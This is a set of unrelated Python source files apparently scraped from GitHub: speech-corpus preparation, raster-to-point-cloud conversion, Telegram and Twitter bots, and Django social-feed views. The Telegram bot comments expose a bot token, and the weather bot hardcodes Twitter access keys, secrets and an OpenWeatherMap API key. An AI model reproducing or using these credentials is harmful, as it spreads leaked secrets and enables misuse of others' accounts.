logger.info(f\"Creating csv file {csv_file}\")\n\n write_csv(csv_file, csv_lines, utt_id_idx=6, max_utt=max_utt)\n return swbd_train_lines\n\n\ndef eval2000_data_prep(data_folder: str, save_folder: str):\n \"\"\"\n Prepare the eval2000/Hub5 English data (LDC2002S09 and LDC2002T43).\n The data serves as the test set and is separated into\n the full dataset (test.csv), the Switchboard portion\n of the dataset (test_swbd.csv) and the Callhome portion\n of the dataset (test_callhome.csv).\n\n Parameters\n ----------\n data_folder : str\n Path to the folder where the eval2000/Hub5 English data is located.\n save_folder : str\n The directory to store the csv files at.\n \"\"\"\n\n logger.info(\n \"Begin preparing the eval2000 Hub5 English test set and transcripts (LDC2002S09 and LDC2002T43)\"\n )\n\n audio_folder = os.path.join(data_folder, \"LDC2002S09/hub5e_00/english\")\n transcription_file = os.path.join(\n data_folder,\n \"LDC2002T43/2000_hub5_eng_eval_tr/reference/hub5e00.english.000405.stm\",\n )\n\n for d in [audio_folder, transcription_file]:\n if not os.path.exists(d):\n err_msg = f\"The folder {d} does not exist (it is expected to prepare the eval2000/hub5 test set)\"\n raise OSError(err_msg)\n\n csv_lines_callhome = [\n [\"ID\", \"duration\", \"start\", \"stop\", \"channel\", \"wav\", \"words\", \"spk_id\"]\n ]\n csv_lines_swbd = [\n [\"ID\", \"duration\", \"start\", \"stop\", \"channel\", \"wav\", \"words\", \"spk_id\"]\n ]\n\n with open(transcription_file) as file:\n utt_count = 0\n for line in file:\n # Skip header\n if line.startswith(\";;\"):\n continue\n\n str_split = line.split()\n # Sometimes the end time of a segment is shifted to the right\n # So we remove all empty strings from the split\n str_split = [i for i in str_split if len(i) > 0]\n\n # Make ID unique\n id = str_split[2].strip() + \"_\" + str(utt_count)\n channel = str_split[1].strip()\n\n wav_name = str_split[0].strip() + \".sph\"\n wav_path = os.path.join(audio_folder, wav_name)\n\n spk_id = str_split[2].strip()\n\n # The label \"en\" stands for \"Callhome conversations\"\n # The label \"sw\" stands for \"Switchboard conversations\"\n is_swbd = str_split[0].strip().startswith(\"sw_\")\n\n # We want the segment start and end times in samples,\n # so we can slice the segment from the tensor\n try:\n seg_start = int(float(str_split[3].strip()) * SAMPLERATE)\n seg_end = int(float(str_split[4].strip()) * SAMPLERATE)\n except ValueError:\n logger.error(\n f\"Unable to determine start and end time of segment. \"\n f\"This should not happen! Split in \"\n f\"question was: {str_split}\"\n )\n\n audio_duration = (seg_end - seg_start) / SAMPLERATE\n\n transcription = \" \".join(str_split[6:])\n cleaned_transcription = filter_text(\n transcription, dataset=\"eval2000\"\n )\n\n # Skip empty transcriptions\n if len(cleaned_transcription) > 0:\n utt_line = [\n id,\n audio_duration,\n seg_start,\n seg_end,\n channel,\n wav_path,\n cleaned_transcription,\n spk_id,\n ]\n if is_swbd:\n csv_lines_swbd.append(utt_line)\n else:\n csv_lines_callhome.append(utt_line)\n utt_count += 1\n\n merge_files = []\n for name, lines in [\n (\"swbd\", csv_lines_swbd),\n (\"callhome\", csv_lines_callhome),\n ]:\n filename = f\"test_{name}.csv\"\n csv_file = os.path.join(save_folder, filename)\n logger.info(f\"Creating csv file {csv_file}\")\n\n with open(csv_file, mode=\"w\") as csv_f:\n csv_writer = csv.writer(\n csv_f, delimiter=\",\", quotechar='\"', quoting=csv.QUOTE_MINIMAL\n )\n\n for line in lines:\n csv_writer.writerow(line)\n\n merge_files.append(filename)\n merge_csvs(\n data_folder=save_folder, csv_lst=merge_files, merged_csv=\"test.csv\"\n )\n\n glm_dir = os.path.join(\n data_folder, \"LDC2002T43/2000_hub5_eng_eval_tr/reference\",\n )\n logger.info(\"Start parsing mapping rules in en20000405_hub5.glm\")\n parse_glm_file(glm_dir, save_folder)\n\n\ndef parse_glm_file(glm_dir, save_folder):\n \"\"\"\n Parse the file called en20000405_hub5.glm.\n This file contains the transcript filtering rules for the\n Hub4-E and Hub5-E Evaluations.\n\n These filtering rules are needed during inference to find valid word alternatives.\n\n Parameters\n ----------\n glm_dir : str\n Location of the en20000405_hub5.glm file in the eval2000 test set\n save_folder : str\n Directory to store the parsed GLM file\n \"\"\"\n results = defaultdict(list)\n with open(os.path.join(glm_dir, \"en20000405_hub5.glm\")) as file:\n is_contraction = False\n for line in file:\n # Skip comments\n if \"CONTRACTIONIZER\" in line:\n is_contraction = True\n if line.startswith(\";;\") or line.startswith(\"*\"):\n continue\n line_split = line.split(\"=>\")\n if len(line_split) > 1:\n wrd = line_split[0].replace(\"[\", \"\").replace(\"]\", \"\").strip()\n # Split alternative at comment\n if not is_contraction:\n alternative = line_split[1]\n alternative = alternative.split(\";;\")[0].strip()\n # Split alternative again add additional information\n alternative = (\n alternative.split(\"/\")[0]\n .replace(\"[\", \"\")\n .replace(\"]\", \"\")\n .strip()\n )\n results[wrd] += [alternative]\n else:\n # Now we parse contraction rules (last 1000 rows or so)\n alternative = (\n line_split[1]\n .replace(\"/ [ ] __ [ ]\", \"\")\n .replace(\"[{\", \"\")\n .replace(\"}]\", \"\")\n )\n alternatives = alternative.split(\"/\")\n alternatives = [\n i.replace(\"[\", \"\").replace(\"]\", \"\").strip()\n for i in alternatives\n ]\n results[wrd] += alternatives\n\n csv_file = os.path.join(save_folder, \"glm.csv\")\n logger.info(\"Writing GLM csv file\")\n\n with open(csv_file, mode=\"w\") as csv_f:\n csv_writer = csv.writer(\n csv_f, delimiter=\",\", quotechar='\"', quoting=csv.QUOTE_MINIMAL\n )\n\n for wrd, alternatives in results.items():\n line = [wrd, \"|\".join(alternatives)]\n csv_writer.writerow(line)\n\n\ndef fisher_data_prep(data_folder, save_folder):\n \"\"\"\n Prepare Fisher data for Tokenizer and LM Training.\n The Fisher transcripts are located at\n LDC2004T19/fe_03_p1_tran and LDC2005T19/fe_03_p2_tran.\n\n Parameters\n ----------\n data_folder : str\n Path to the folder where the Fisher data is located.\n save_folder : str\n Path to the folder where you want to store the prepared data.\n\n Returns\n -------\n A list containing the prepared data for further processing\n \"\"\"\n\n logger.info(\n \"Begin preparing the Fisher corpus transcripts (LDC2002S09 and LDC2002T43)\"\n )\n\n fisher_dirs = [\n \"LDC2004T19/fe_03_p1_tran/data/trans\",\n \"LDC2005T19/fe_03_p2_tran/data/trans\",\n ]\n\n for fisher_dir in fisher_dirs:\n joined_path = os.path.join(data_folder, fisher_dir)\n if not os.path.exists(joined_path):\n err_msg = f\"The folder {joined_path} does not exist (it is expected to prepare the Fisher corpus)\"\n raise OSError(err_msg)\n\n csv_lines = [[\"ID\", \"words\"]]\n num_files_processed = 0\n num_dirs_processed = 0\n utt_count = 0\n\n for fisher_dir in fisher_dirs:\n joined_path = os.path.join(data_folder, fisher_dir)\n transcript_files = get_all_files(joined_path, match_and=[\".txt\"])\n\n for transcript_files in transcript_files:\n with open(transcript_files) as file:\n for line in file:\n # skip header and empty lines\n if line.startswith(\"#\") or len(line.strip()) < 1:\n continue\n\n # Create unique id\n id = \"fisher-\" + str(utt_count)\n transcription = line.split()[3:]\n transcription = \" \".join(transcription)\n transcription_clean = filter_text(\n transcription, dataset=\"fisher\"\n )\n\n # Split acronyms written as u._c._l._a._ into single characters (e.g. u c l a)\n transcription_clean = remove_acronym_symbols(\n transcription_clean\n )\n transcription_clean = transcription_clean.upper().strip()\n\n # Skip empty transcriptions\n if len(transcription_clean) > 0:\n csv_lines.append([id, transcription_clean])\n utt_count += 1\n # This is just for accounting\n num_files_processed += 1\n num_dirs_processed += 1\n\n logger.info(\n f\"Fisher corpus: Processed {num_files_processed} files in \"\n f\"{num_dirs_processed} directories.\"\n )\n\n csv_file = os.path.join(save_folder, \"fisher.csv\")\n logger.info(f\"Creating csv file {csv_file}\")\n\n with open(csv_file, mode=\"w\") as csv_f:\n csv_writer = csv.writer(\n csv_f, delimiter=\",\", quotechar='\"', quoting=csv.QUOTE_MINIMAL\n )\n\n for line in csv_lines:\n csv_writer.writerow(line)\n return csv_lines\n\n\nif __name__ == \"__main__\":\n data_folder = \"/nfs/data/ldc\"\n save_folder = \"/mnt/md0/user/wagnerdo/speechbrain/recipes/Switchboard/test\"\n\n prepare_switchboard(\n data_folder,\n save_folder,\n splits=[\"train\", \"dev\"],\n split_ratio=[99, 1],\n merge_lst=[],\n skip_prep=False,\n add_fisher_corpus=True,\n )\n","repo_name":"speechbrain/speechbrain","sub_path":"recipes/Switchboard/switchboard_prepare.py","file_name":"switchboard_prepare.py","file_ext":"py","file_size_in_byte":42755,"program_lang":"python","lang":"en","doc_type":"code","stars":6855,"dataset":"github-code","pt":"52"} +{"seq_id":"9665510232","text":"\nimport numpy as np\nfrom lidario.io import InputHandler, OutputHandler\n\n\nclass Translator:\n \"\"\"\n Instantiate a Translator object which will handle the translation between\n given input and desired output type.\n\n :param input_type: Type of raster data provided: \"**geotiff**\" or \"**mask**\".\n\n - \"geotiff\": a .tif raster file.\n - \"mask\", a *rasterio.mask.mask()* result.\n\n :param output_type: Type of point cloud data to return: \"**csv**\",\n \"**numpy**\", \"**pandas**\", \"**dictionary**\", \"**list**\", \"**tuple**\".\n\n - \"csv\": a CSV file.\n - \"ply\": a .ply file.\n - \"numpy\": a Numpy array. Alternatives: \"np\", \"array\".\n - \"dataframe\": A Pandas dataframe: Alternatives: \"pandas\", \"pd\", \"df\".\n - \"dictionary\": A pure Python dictionary: Alternative: \"dict\".\n - \"list\" a pure Python list.\n - \"tuple\": a pure Python tuple.\n\n :param affine_transform: If True (default), apply an affine\n geo-transformation to the translated coordinates.\n :param metadata: If True, the \"translate\" method will return a tuple\n with the point cloud and the metadata. If False (default), it will\n only return the point cloud.\n\n :type input_type: str\n :type output_type: str\n :type affine_transform: bool, optional\n :type metadata: bool, optional\n \"\"\"\n\n def __init__(self, input_type, output_type, affine_transform=True, metadata=False):\n\n # Handle the input and output files/objects\n self.input_handler = InputHandler(input_type)\n self.output_handler = OutputHandler(output_type)\n\n # True point cloud has to be geo-transformed\n self.affine_transform = affine_transform\n self.return_metadata = metadata\n\n def translate(self, input_values, out_file=\"output1.csv\", out_format=\"binary\",\n no_data=None, decimal=None, transpose=False, band=1):\n \"\"\"\n Translate a given \"input_values\" into a X, Y, Z point cloud.\n\n :param input_values: Data values to translate. Depend on the\n Translator's \"input_type\" parameter:\n\n - For a \"**geotiff**\": Takes the path to your .tif file (string).\n - For a \"**mask**\": Takes the np.array returned by a rasterio.mask.mask() method.\n\n :param out_file: Name of the file to save the point cloud.\n Used only if the Translator's \"output_type\" is a file type: \"csv\", \"ply\".\n Optional, default: \"output.csv\".\n\n :param out_format: Data format to save the file: \"**binary**\" (default)\n or \"**ascii**\" (not recommended, may be slow). Used only when \"ply\"\n is specified as \"output_type\". Optional.\n\n :param no_data: Value to exclude from the translation.\n\n - For a \"**geotiff**\": By default, use the nodata value stored in the tif file. If this value is missing, use -9999.\n - For a \"**mask**\": By default, use -9999.\n\n :param band: Band of the raster to translate. Used only if Translator's\n \"input_values\" is \"geotiff\". Default: 1.\n :param decimal: Round the coordinate numbers to the given decimal.\n Default: None.\n :param transpose: If True, transpose the coordinates. Default: False.\n\n :type input_values: str or np.array\n :type out_file: str, optional\n :param out_format: str, optional\n :type no_data: int, optional\n :type decimal: int, optional\n :type transpose: bool, optional\n :type band: bool, optional\n\n :return: The translated point cloud, typed as specified. If\n Translator's \"output_type\" is set to \"csv\", return None instead\n and save the CSV file. If Translator's \"metadata\" is set to True,\n return a tuple with the point cloud and the metadata.\n \"\"\"\n\n # Load the raster and metadata\n raster, metadata = self.input_handler.load(True, input_values, band)\n\n if no_data is None:\n no_data = metadata['nodata']\n\n # Create a (x, y, z) point cloud from raster data\n x, y, z = self.__create_xyz_points(raster, no_data)\n\n # Geo-transform the coordinates\n if self.affine_transform:\n x, y = self.__affine_geo_transformation(x, y, metadata['transform'])\n\n # Round the numbers\n if decimal is not None:\n x, y, z = self.__round(x, y, z, decimal)\n\n # Save the point cloud\n point_cloud = self.output_handler.save(x, y, z, out_file, out_format, transpose)\n\n # If self.return_metadata is True, return the metadata\n if self.return_metadata:\n return point_cloud, metadata\n\n # If not, return only the point cloud\n return point_cloud\n\n @staticmethod\n def __create_xyz_points(raster, no_data=-9999):\n \"\"\"\n Infer x, y, z points from raster data.\n\n :param raster: Raster data as numpy array.\n :param no_data: No data value of the raster.\n\n :type raster: np.array\n :type no_data: int\n\n :return: Tuple of np.array containing the point cloud: (x, y, z).\n :rtype tuple\n \"\"\"\n y, x = np.where(raster != no_data)\n z = np.extract(raster != no_data, raster)\n\n return x, y, z\n\n @staticmethod\n def __affine_geo_transformation(x, y, gtr):\n \"\"\"\n Create affine geo-transformed x and y.\n\n An affine transformation preserves collinearity and ratios of\n distances. It replace the point cloud into their original\n space of coordinates.\n\n :param x: X-array of coordinates.\n :param y: Y-array of coordinates.\n :param gtr: Affine geo-transformation data.\n\n :return: gtr_x, gtr_y, the geo-transformed x and y, as np.array.\n :rtype tuple\n \"\"\"\n\n # https://gdal.org/user/raster_data_model.html#affine-geotransform\n # Affine transformation rewritten for rasterio:\n gtr_x = gtr[2] + (x + 0.5) * gtr[0] + (y + 0.5) * gtr[1]\n gtr_y = gtr[5] + (x + 0.5) * gtr[3] + (y + 0.5) * gtr[4]\n\n return gtr_x, gtr_y\n\n @staticmethod\n def __round(x, y, z, decimal):\n\n return np.around(x, decimal),\\\n np.around(y, decimal),\\\n np.around(z, decimal)\n","repo_name":"Joffreybvn/lidario","sub_path":"lidario/translator.py","file_name":"translator.py","file_ext":"py","file_size_in_byte":6243,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"52"} +{"seq_id":"40220555883","text":"from django.shortcuts import render\nfrom rest_framework.decorators import api_view\nfrom rest_framework.response import Response\nfrom .models import model2, model4, heuristic_predict, model8\nimport numpy as np\n\n@api_view(['POST'])\ndef predict_cover_type(request):\n # Extract input data from the request\n input_data = request.data\n\n # Call the appropriate model based on the input data\n model_name = input_data.get('model')\n features = input_data.get('data')\n\n if model_name == 'heuristics':\n prediction = heuristic_predict(features)\n elif model_name == 'model2':\n input_array = np.array([features])\n prediction = model2.predict(input_array)\n elif model_name == 'model4':\n input_array = np.array([features])\n prediction = model4.predict(input_array)\n elif model_name == 'model8':\n input_array = np.array([features])\n prediction = np.argmax(model8.predict(input_array), axis=-1)\n else:\n return Response({\"error\": \"Invalid model specified.\"})\n\n # Return the prediction as a JSON response\n return Response({\"prediction\": int(prediction[0])})","repo_name":"Szymondesign/Cover_Type_Prediction_OpenX","sub_path":"my_project/my_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1128,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"42567034731","text":"import os\r\nimport matplotlib.pyplot as plt\r\nimport ReceiptBagBackend as dataaa\r\n\r\n\r\n\r\n#takes cost data and finds average costs\r\ncosts = [9.85, 26.32, 30.97]\r\ntotalcosts = 67.14\r\npercentagecost = [9.85/67.14, 26.32/67.14, 30.97/67.14]\r\n\r\nprint(percentagecost)\r\n\r\n# Pie chart\r\nlabels = dataaa.items\r\ncount = 0\r\nlabels1 = [\"Surfside\", \"Papa Johns\", \"Barnes and Noble\"]\r\nfor i in labels:\r\n labels1.append(labels[count].title())\r\n count += 1\r\n\r\nsizes = percentagecost\r\n# colors\r\ncolors = ['#ff9999', '#66b3ff', '#99ff99', '#ffcc99']\r\n\r\nfig1, ax1 = plt.subplots()\r\nax1.pie(sizes, colors=colors, labels=labels1, autopct='%1.1f%%', startangle=90)\r\n# draw circle\r\ncentre_circle = plt.Circle((0, 0), 0.70, fc='white')\r\nfig = plt.gcf()\r\nfig.gca().add_artist(centre_circle)\r\n# Equal aspect ratio ensures that pie is drawn as a circle\r\nax1.axis('equal')\r\nfig1.set_facecolor((230/255,233/255,239/255,1))\r\nplt.tight_layout()\r\n\r\n#Saves file\r\n#os.remove('''C:\\Users\\Jared\\PycharmProjects\\ReceiptBag\\piechart1.png''')\r\nfig1.savefig('piechart4.png', facecolor=fig1.get_facecolor(), edgecolor='none')","repo_name":"mlmerck/CompleteReceipt","sub_path":"data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":1086,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"21291698388","text":"#!/usr/bin/python3\n\"\"\"Minumun operations module\"\"\"\n\n\ndef minOperations(n):\n \"\"\"Min op function\"\"\"\n operations = 0\n while n > 1:\n divisor = min_divisor(n)\n operations += divisor\n n = int(n / divisor)\n return int(operations)\n\n\ndef min_divisor(num):\n \"\"\"function to calculate the min divisor\"\"\"\n for i in range(2, num+1):\n if num % i == 0:\n return i\n","repo_name":"wisvem/holbertonschool-interview","sub_path":"0x03-minimum_operations/0-minoperations.py","file_name":"0-minoperations.py","file_ext":"py","file_size_in_byte":404,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"69954950884","text":"import requests\nimport misc\nimport pprint\nimport json\n\nfrom yobit import get_btc\nfrom time import sleep\n\n\ntoken = misc.token\n\n#getUpdates = \"https://api.telegram.org/bot745109047:AAEu0bVlQSOanftv1yibr4MrRQhdDlzPx08/getupdates\"\n#print(token) #перевіряєм чи працює\n\n# створили url\nURL = 'https://api.telegram.org/bot' + token + '/'\n\nglobal last_update_id #створили глобальну перемінну (хоча в такому випадку краще використовувати клас)\nlast_update_id = 0\n\n\n#f'https://api.telegram.org/bot{token}/'\n#745109047:AAEu0bVlQSOanftv1yibr4MrRQhdDlzPx08/sendmessage?chat_id=284158456&text=HI%20again\n\n#ф-ія працює з апдейтами\ndef get_updates():\n url = URL + \"getupdates\"\n #print(url) буде такий вивід https://api.telegram.org/bot745109047:AAEu0bVlQSOanftv1yibr4MrRQhdDlzPx08/getupdates\n serverResponse = requests.get(url)\n # print(serverResponse) #відповідь від сервера буде \n # print(serverResponse.content, '\\n') #отримали відповідь від сервера з контентом(вертає біна��ні дані)\n\n#конвертуємо бінарні дані з респонза в json об'єкт та дікшінарі\n # print(\"Корвертували респонса сервера в json і дікшінарі і зникне проблема з кодування кирилиці: \", serverResponse.json())\n return serverResponse.json()\n\n#ф-ія для отримання повідомлень із сервера\ndef get_message():\n #відповідати тільки на останні повідомлення\n # напишемо код щоб відповідати тільки на нові повідомлення = отримувати update_id кожного обновлення з сайту yobit\n # записувати його в перемінну\n # порівнювати його з останнім оновленням\n\n data = get_updates()\n last_object = data['result'][-1]\n current_update_id = last_object[\"update_id\"] #витягуєм з updates.json(дікшінарі) останній update_id\n\n global last_update_id #показали що ми працюємо з раніше об'явленою глобальною перемінною\n\n #умова для перевірки update_id до нового(з новими даними) існуючого останнього елементу списку result\n if last_update_id != current_update_id:\n last_update_id = current_update_id\n\n\n chat_id = last_object['message']['chat']['id'] #знайшли в словниках і лістах chat_id\n message_text = last_object['message']['text']\n message = {'chat_id': chat_id,\n 'text':message_text}\n #print(\"Out chat id is: \", message_text)\n\n return message\n\n return None\n\n\n#Робимо ф-ію відправки повідомлення\n\ndef send_message(chat_id, text = \" Whait a second please...\"):\n url= URL + 'sendmessage?chat_id={}&text={}'.format(chat_id,text)\n #print(url)\n\n requests.get(url)\n\n\n\ndef main():\n \"\"\"isDictionary = get_updates()\"\"\"\n#print(type(isDictionary)) #перевірили чи ф-ія get_updates() дійсно повертає дікшінарі(так, повертає ))\\n\"\n\n#робимо файл з json для простоти і наглядності\"\n#with open('updates.json', 'w') as file:\\n\"\n#json.dump(isDictionary, file, indent=2, ensure_ascii=False))\n\n#get_message() #для експерименту визиваємо цю ф-ію\n#send_message(14) #для експерименту визиваємо цю функцію\n\n\"\"\"\nстворимо цикл while щоб постійно не запускати ф-ію send_message\n\"\"\"\nwhile True:\n answer = get_message()\n\n if answer != None:\n chat_id = answer['chat_id']\n #send_message(chat_id, \"Що бажаєте? \")\n text = answer['text']\n #print(\"Out variable text is:\", text)\n\n #перевірим як працює умова зі словом kasha\n # if 'exellent' in text:\n # send_message(chat_id, 'What?')\n\n #пропишем умову для ф-ії get_btc\n\n if text == '/btc':\n send_message(chat_id, get_btc())\n else:\n continue\n\n sleep(3) #спамить кожні 3 секунди сайт телеграма\n\n\n\n#точка входа\nif __name__ == '__main__':\n main()\n","repo_name":"alexmudra/AlexYobitBTC_USD","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":4639,"program_lang":"python","lang":"uk","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"17090259838","text":"# Dependencies\nimport tweepy\nimport time\nimport json\nimport random\nimport requests as req\nimport datetime\n\n\n\n# Twitter API Keys\nconsumer_key = \"FzZ3zDr36XP0GAPLBLVS3m6QW\"\nconsumer_secret = \"3mcWJI9APvwGpltQeibFB1hU88I4j0Pu9kC5p4dzubkUCbj7fG\"\naccess_token = \"808542776673583104-m6fHan4xPmQOaPDwP5e59p3ioEoFmXW\"\naccess_token_secret = \"CdcMy49dc15SRSBqLrJeT6hsQFu56VOis5xKFSGyyMbmu\"\n\n# Weather API\napi_key = \"ed791b853161a5241e77846e1a84d4db\"\n\n\n# Create a function that gets the weather in London and Tweets it\ndef WeatherTweet():\n\n # Construct a Query URL for the OpenWeatherMap\n url = \"http://api.openweathermap.org/data/2.5/weather?\"\n city = \"san francisco\"\n units = \"imperial\"\n query_url = url + \"appid=\" + api_key + \"&q=\" + city + \"&units=\" + units\n\n # Perform the API call to get the weather\n weather_response = req.get(query_url)\n weather_json = weather_response.json()\n print(weather_json)\n\n # Twitter credentials\n auth = tweepy.OAuthHandler(consumer_key, consumer_secret)\n auth.set_access_token(access_token, access_token_secret)\n api = tweepy.API(auth, parser=tweepy.parsers.JSONParser())\n\n # Tweet the weather\n api.update_status(\n \"San Francisco Weather as of %s: %s F\" %\n (datetime.datetime.now().strftime(\"%I:%M %p\"),\n weather_json[\"main\"][\"temp\"]))\n\n # Print success message\n print(\"Tweeted successfully, sir!\")\n\n\n# Set timer to run every 1 hour\nwhile(True):\n WeatherTweet()\n time.sleep(3600)","repo_name":"mcavel/weather_b","sub_path":"weather.py","file_name":"weather.py","file_ext":"py","file_size_in_byte":1482,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"73871763365","text":"from django.contrib.auth import get_user_model\nfrom django.contrib.auth.models import User\nfrom django.core.paginator import Paginator\nfrom django.db.models import Max\nfrom django.db.models import Q\nfrom django.db.models.functions import Coalesce\nfrom django.views import View\nfrom django.urls import reverse_lazy\nfrom django.shortcuts import render, redirect, get_object_or_404\nfrom django.http import HttpResponseRedirect, HttpResponse\nfrom django.contrib import messages\nfrom django.utils import timezone\nfrom .forms import NewCommentForm, NewPostForm, SharePostForm, ThreadForm, MessageForm\nfrom django.views.generic import UpdateView\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.contrib.auth.decorators import login_required\nimport json\nfrom .models import Post, Like, Comment, Thread, Messages, Notifications\nfrom users.models import Profile, FriendRequest\n\nUser = get_user_model()\n\n\nclass Index(View):\n def get(self, request, *args, **kwargs):\n return render(request, 'feed/landing.html')\n\n\n# user page for creating a new post\nclass CreatePost(LoginRequiredMixin, View):\n def get(self, request, *args, **kwargs):\n user = request.user\n if request.method == \"POST\":\n form = NewPostForm(request.POST, request.FILES)\n if form.is_valid():\n data = form.save(commit=False)\n data.username = user\n data.save()\n messages.success(request, f'Posted Successfully')\n return redirect('home')\n else:\n form = NewPostForm()\n return render(request, 'feed/create_post.html', {'post_form': form})\n\n\n# page to view a specific post\nclass PostDetailView(LoginRequiredMixin, View):\n def get(self, request, pk, *args, **kwargs):\n post = Post.objects.get(pk=pk)\n user = request.user\n form = NewCommentForm()\n comments = Comment.objects.filter(post=post).order_by('-comment_date')\n is_liked = Like.objects.filter(user=user, post=post)\n\n context = {\n 'post': post,\n 'comments': comments,\n 'is_liked': is_liked,\n 'comment_form': form\n }\n return render(request, 'feed/post_detail.html', context)\n\n # form for creating a comment on a post\n def post(self, request, pk, *args, **kwargs):\n post = Post.objects.get(pk=pk)\n form = NewCommentForm(request.POST)\n if form.is_valid():\n data = form.save(commit=False)\n data.username = request.user\n data.post = post\n data.save()\n return redirect('post-detail', pk=pk)\n else:\n form = NewCommentForm()\n return redirect('post-detail', pk=pk)\n\n\n# function for deleting a post\n@login_required()\ndef post_delete(request, pk):\n post = Post.objects.get(pk=pk)\n if request.user == post.username:\n Post.objects.get(pk=pk).delete()\n\n return redirect('home')\n\n\n# function for deleting a comment\n@login_required()\ndef comment_delete(request, pk):\n comment = Comment.objects.get(pk=pk)\n if request.user == comment.username:\n Comment.objects.get(pk=pk).delete()\n return HttpResponseRedirect(request.META.get('HTTP_REFERER'))\n\n\n# page for editing a user post\nclass PostEditView(LoginRequiredMixin, UpdateView):\n model = Post\n fields = ['description', 'pic']\n template_name = 'feed/post_edit.html'\n\n def get_success_url(self):\n pk = self.kwargs['pk']\n return reverse_lazy('post-detail', kwargs={'pk': pk})\n\n\n# function for allowing a user to like a post and remove that like\n@login_required\ndef like(request):\n post_id = request.GET.get(\"likeId\", \"\")\n user = request.user\n post = Post.objects.get(pk=post_id)\n liked = False\n like = Like.objects.filter(user=user, post=post)\n if like:\n like.delete()\n else:\n liked = True\n Like.objects.create(user=user, post=post)\n resp = {\n 'liked': liked\n }\n response = json.dumps(resp)\n return HttpResponse(response, content_type=\"application/json\")\n\n\n# User can share an already existing post made by another user\nclass SharePostView(View):\n def post(self, request, pk, *args, **kwargs):\n original_post = Post.objects.get(pk=pk)\n share_form = SharePostForm(request.POST)\n # form for sharing a post\n if share_form.is_valid():\n share_post = Post(shared_description=self.request.POST.get('description'),\n description=original_post.description,\n username=original_post.username,\n date_posted=original_post.date_posted,\n pic=original_post.pic,\n shared_username=request.user,\n shared_date=timezone.now())\n share_post.save()\n else:\n share_form = SharePostForm()\n return redirect(request.META['HTTP_REFERER'])\n\n\nclass CreateMessage(View):\n def post(self, request, pk, *args, **kwargs):\n thread = Thread.objects.get(pk=pk)\n if thread.reciever == request.user:\n reciever = thread.user\n else:\n reciever = thread.reciever\n text = Messages(\n thread=thread,\n sender_user=request.user,\n reciever_user=reciever,\n textbody=request.POST.get('textbody')\n )\n text.save()\n notification = Notifications.objects.create(\n type=1,\n sending_user=request.user,\n recieving_user=reciever,\n message=thread\n )\n return redirect('message-thread', pk=pk)\n\n\nclass ListThreads(LoginRequiredMixin, View):\n\n def get(self, request, *args, **kwargs):\n threads = Thread.objects.filter(Q(user=request.user) | Q(reciever=request.user))\n try:\n notifications = Notifications.objects.filter(recieving_user=request.user).first()\n except:\n notifications = None\n\n context = {\n 'threads': threads,\n 'notifications': notifications\n }\n return render(request, 'feed/inbox.html', context)\n\n\nclass CreateThread(LoginRequiredMixin, View):\n def get(self, request, *args, **kwargs):\n form = ThreadForm()\n context = {\n 'form': form\n }\n return render(request, 'feed/create_thread.html', context)\n\n def post(self, request, *args, **kwargs):\n form = ThreadForm(request.POST)\n username = request.POST.get('username')\n try:\n reciever = User.objects.get(username=username)\n if Thread.objects.filter(user=request.user, reciever=reciever).exists():\n thread = Thread.objects.filter(user=request.user, reciever=reciever).first()\n return redirect('message-thread', pk=thread.pk)\n elif Thread.objects.filter(user=reciever, reciever=request.user).exists():\n thread = Thread.objects.filter(user=reciever, reciever=request.user).first()\n return redirect('message-thread', pk=thread.pk)\n if form.is_valid():\n thread = Thread(user=request.user, reciever=reciever)\n thread.save()\n return redirect('message-thread', pk=thread.pk)\n except:\n messages.error(request, 'Username not found.')\n return redirect('create-thread')\n\n\nclass ThreadView(LoginRequiredMixin, View):\n def get(self, request, pk, *args, **kwargs):\n form = MessageForm()\n thread = Thread.objects.get(pk=pk)\n message_list = Messages.objects.filter(thread__pk__contains=pk)\n\n context = {\n 'thread': thread,\n 'form': form,\n 'message_list': message_list,\n }\n\n return render(request, 'feed/message_thread.html', context)\n\n\ndef search_posts(request):\n query = request.GET.get('q')\n object_list = Post.objects.filter(description__contains=query).annotate(lr=Coalesce(Max('shared_date'),\n 'date_posted')).order_by('-lr')\n share_form = SharePostForm()\n\n context = {\n 'posts': object_list,\n 'share_form': share_form,\n }\n return render(request, \"feed/search_posts.html\", context)\n\n\ndef search(request):\n query = request.GET.get('q')\n object_list = Post.objects.filter(description__contains=query).annotate(lr=Coalesce(Max('shared_date'),\n 'date_posted')).order_by('-lr')\n user_list = User.objects.filter(username__icontains=query)\n sent_friend_requests = FriendRequest.objects.filter(from_user=request.user)\n p = request.user.profile\n friends = p.friends.all()\n share_form = SharePostForm()\n sent_to = []\n\n for se in sent_friend_requests:\n sent_to.append(se.to_user)\n context = {\n 'users': user_list,\n 'sent': sent_to,\n 'friends': friends,\n 'posts': object_list,\n 'share_form': share_form,\n }\n return render(request, \"feed/search.html\", context)\n\n\ndef post_page(request):\n paginator = Paginator(Post.objects.all()\n .annotate(lr=Coalesce(Max('shared_date'), 'date_posted'))\n .order_by('-lr'), 10)\n page = request.GET.get('page')\n posts = paginator.get_page(page)\n share_form = SharePostForm()\n\n context = {\n 'posts': posts,\n 'share_form': share_form,\n }\n return render(request, \"feed/post_page.html\", context)\n\n\nclass DeleteNotificaiton(View):\n def get(self, request, pk, *args, **kwargs):\n thread = Thread.objects.get(pk=pk)\n try:\n Notifications.objects.filter(recieving_user=request.user).delete()\n except:\n pass\n\n return redirect('message-thread', pk=thread.pk)\n\n\ndef CreateThreadButton(request, id, ):\n user = get_object_or_404(User, id=id)\n reciever = user\n\n if Thread.objects.filter(user=request.user, reciever=reciever).exists():\n thread = Thread.objects.filter(user=request.user, reciever=reciever).first()\n return redirect('message-thread', pk=thread.pk)\n elif Thread.objects.filter(user=reciever, reciever=request.user).exists():\n thread = Thread.objects.filter(user=reciever, reciever=request.user).first()\n return redirect('message-thread', pk=thread.pk)\n 